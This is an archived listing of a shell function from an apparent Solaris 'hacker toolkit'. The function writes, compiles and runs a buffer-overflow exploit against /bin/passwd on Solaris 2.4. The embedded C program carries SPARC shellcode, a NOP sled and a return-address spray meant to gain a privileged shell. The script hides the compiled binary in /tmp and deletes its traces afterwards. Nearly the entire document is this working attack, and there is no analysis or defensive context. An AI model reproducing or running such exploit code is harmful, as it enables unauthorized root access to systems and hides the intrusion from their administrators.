home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / solaris-toolkit / soltool / dopasswd.54 < prev    next >
Encoding:
Text File  |  2002-05-27  |  2.0 KB  |  89 lines

  1. function dopasswd {
  2.  
  3.         if [ -s /tmp/passex.c ]; then
  4.                 /bin/rm /tmp/passex.c
  5.                 dopasswd
  6.         else
  7.  
  8. /bin/cat > /tmp/passex.c << STOP
  9. /*
  10. Exploit for Solaris 2.4 ( it is a little and subtile different  beetwen this
  11. exploit and the prog for Solaris 2.5 - the overflow buffer is shifted
  12. with 1 char )
  13. With argv[1] you can modify the stack_offset (+-256).
  14. */
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <sys/types.h>
  19. #include <unistd.h>
  20.  
  21. #define BUF_LENGTH      600
  22. #define EXTRA           600
  23. #define STACK_OFFSET    1400
  24. #define SPARC_NOP       0xa61cc013
  25.  
  26. u_char sparc_shellcode[] =
  27. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  28. "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  29. "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  30. "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  31. "\x91\xd0\x20\x08"
  32. ;
  33.  
  34. u_long get_sp(void)
  35. {
  36.   __asm__("mov %sp,%i0 \n");
  37. }
  38.  
  39. void main(int argc, char *argv[])
  40. {
  41.   char buf[BUF_LENGTH + EXTRA + 8];
  42.   long targ_addr;
  43.   u_long *long_p;
  44.   u_char *char_p;
  45.   int i, code_length = strlen(sparc_shellcode),dso=0;
  46.  
  47.   if(argc > 1) dso=atoi(argv[1]);
  48.  
  49.   long_p =(u_long *)  buf ;
  50.     targ_addr = get_sp() - STACK_OFFSET - dso;
  51.  
  52.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  53.     *long_p++ = SPARC_NOP;
  54.  
  55.   char_p = (u_char *) long_p;
  56.  
  57.   for (i = 0; i < code_length; i++)
  58.     *char_p++ = sparc_shellcode[i];
  59.  
  60.   long_p = (u_long *) char_p;
  61.  
  62.  
  63.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  64.     *long_p++ =targ_addr;
  65.  
  66.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  67.   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  68.   execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
  69.   perror("execl failed");
  70. }
  71. STOP
  72.  
  73. cc -o /tmp/.passex -O /tmp/passex.c 2> /dev/null
  74. /bin/rm /tmp/passex.c
  75. echo " "
  76.  
  77. if [ -s /tmp/.passex ]; then
  78.         /tmp/.passex
  79.         else
  80.                 echo " oOo Passwd exploit failed."
  81.                 echo " "
  82.         exit 1
  83. fi
  84.  
  85. /bin/rm /tmp/.passex
  86. exit 0
  87. fi
  88. }
  89.